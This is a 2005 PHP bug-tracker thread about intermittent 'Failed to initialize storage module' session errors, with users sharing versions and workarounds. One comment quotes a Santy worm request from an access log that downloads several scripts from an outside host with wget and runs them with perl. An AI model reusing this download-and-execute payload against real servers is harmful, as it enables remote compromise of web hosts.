#25876 [Com]: session_start(): Failed to initialize storage module
From: jarratt at dotpixel dot net Date: Thu, 06 Jan 2005 23:23:33 +0000 Subject: #25876 [Com]: session_start(): Failed to initialize storage module References: 1 Groups: php.bugs Request: Send a blank email to php-bugs+get-71539@lists.php.net to get a copy of this message
ID: 25876
Comment by: jarratt at dotpixel dot net
Reported By: golden at riscom dot com
Status: Assigned
Bug Type: Session related
Operating System: freebsd 4.8
PHP Version: 4.3.9-4.3.10
Assigned To: sas
New Comment:
Update:
Hi again,
On the above mentioned issue, we only recently started testing with our
own 'session.save_handler', when this error started to appear, i found
that if i restart apache and access the orginally working sites
(default session.save_handler) they appear to be fine? not sure if that
helps any but i thought i would mention it.
regards
Previous Comments:
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[2005-01-06 20:24:12] jarratt at dotpixel dot net
Hi,
We also seem to be experience this intermittent problem with a newly
compiled version of PHP 5.0.3
Fatal error: session_start() [function.session-start]: Failed to
initialize storage module: user (path: ) in ...
Any ideas, i have two versions of php on my fedora 1 box if i switch to
php 4.3.8 Fedora rpm version i have no issues.
In the php.ini has session.save_handler = files set any suggestions?
Thanks
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[2004-12-30 02:18:57] aussie_jadu at hotmail dot com
We're experiencing the same error, with php 4.3.10 running on Redhat
7.3 with apache 1.3.31.
PHP Fatal error: session_start(): Failed to initialize storage module:
user
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[2004-12-28 21:27:20] mak123 at poczta dot onet dot pl
I found many log lines with:
...&PHPSESSID=http://www.visualcoders.net/spy.gif?.....
or other session variables like osCsid, IDP, sess_id - and there is
huge correlation between number of such attacks and time when sessions
hang with 'Failed to initialize...' error. After 50 - 70 such request
in 10 - 15 seconds php refused to handle session_start() function.
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[2004-12-28 20:32:21] mak123 at poczta dot onet dot pl
I've added 'php_value session.save_handler "files"' line to config file
and errors disappeared.
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[2004-12-28 19:21:28] cruiser at ptcruiserclub dot org
I'm using php 4.3.10 on Apache2.4.20 on Redhat 9
Lots of this error repeating over and over in apache error_log:
"PHP Warning:
Unknown(): A session is active. You cannot change the session module's
ini
settings at this time. in Unknown on line 0"
All the errors correlate to the Santy worm attacks on my oscommerce
store in the apache access_log
/index.php?cPath=34&osCsid=http://www.visualcoders.net/spy.gif?&cmd=cd%20/tmp;wget%20www.visualcoders.net/spybot.txt;wget%20www.visualcoders.net/worm1.txt;wget%20www.visualcoders.net/php.txt;wget%20www.visualcoders.net/ownz.txt;wget%20www.visualcoders.net/zone.txt;perl%20spybot.txt;perl%20worm1.txt;perl%20ownz.txt;perl%20php.txt
adding some mod_rewrite rules in httpd.conf to redirect the worm away
stopped the errors.
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